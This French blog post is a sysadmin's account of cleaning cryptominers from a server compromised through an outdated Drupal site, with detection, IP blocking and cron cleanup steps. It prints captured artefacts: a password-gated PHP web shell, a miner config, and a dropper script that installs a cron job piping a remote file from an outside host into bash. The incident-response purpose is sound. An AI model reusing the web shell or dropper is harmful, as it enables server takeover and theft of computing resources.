Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
Ce billet fait partie de la série :
Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduit à l'infection de serveurs par des mineurs de bitcoin.
Attention :
je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.
Mineur de bitcoin Détection & Root Cause
Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...
Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.
Analyse des processus
Via htop on a processus chron-34e2fg qui tourne à fond. Et on a son PID
un PID. La commande lsof donne le chemin du programme à la source :
root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)
On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.
Autre cas avec un autre mineur :
root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1
Dans ce cas là, on a un fichier de configuration.
Détection des processus et fichiers ouverts par un utilisateur
root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl
On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp
Blocage des IP des serveurs extérieurs
Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu
On cherche l'IP derrière cette machine via un simple et bête ping
root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms
Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.
On bannira cette IP.
On regarde le contenu du fichier de configuration
more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}
On bannira ces IP.
Vérification des connexions réseaux actives
Trois commandes et outils pour voir les connexions actives avant et après le bannissement
netstat -puant
Nethogs
Iftop
qui confirment les connexions aux serveurs.
Bannir les IP
Pour chaque série d'IP, on bannit via iptables
iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP
Connexion sortantes et entrantes bloquées, nettoyage...
Méthode barbare
rm -rf /tmp
rm -rf /var/tmp
Et on tue les processus liés à www-data
killall -u www-data
Autres fichiers en PHP dans la partie Drupal - site web
Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. On trouve, entre autres des fichiers étranges.
$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "";
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}
Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...
Les fichiers réapparaissent
Malgré les kill, le processus se relance et les fichiers réapparaissent.
On regarde de nouveau les processus
root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport
root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).
On récupère le fichier via wget et on regarde son contenu
$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \\
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \\
crontab /tmp/cron || true && \\
rm -rf /tmp/cron || true && \\
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."
Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....
C'est ce processus masqué qui fait revenir les fichiers...
Ban de l'IP
iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP
Nettoyage des tâches cron
Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.
En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :
root@machine:/var/spool/cron/crontabs# ls
www-data
cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur
rm /var/spool/cron/crontabs/www-data
killall -u www-data
Changement des droits de /var/tmp
Par défaut, les droits de /var/tmp était en 777 sur cette machine...
chmod 755 /var/tmp
comme ça le processus lié à l'utilisateur php ne peut plus écrire.
Conclusion
On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...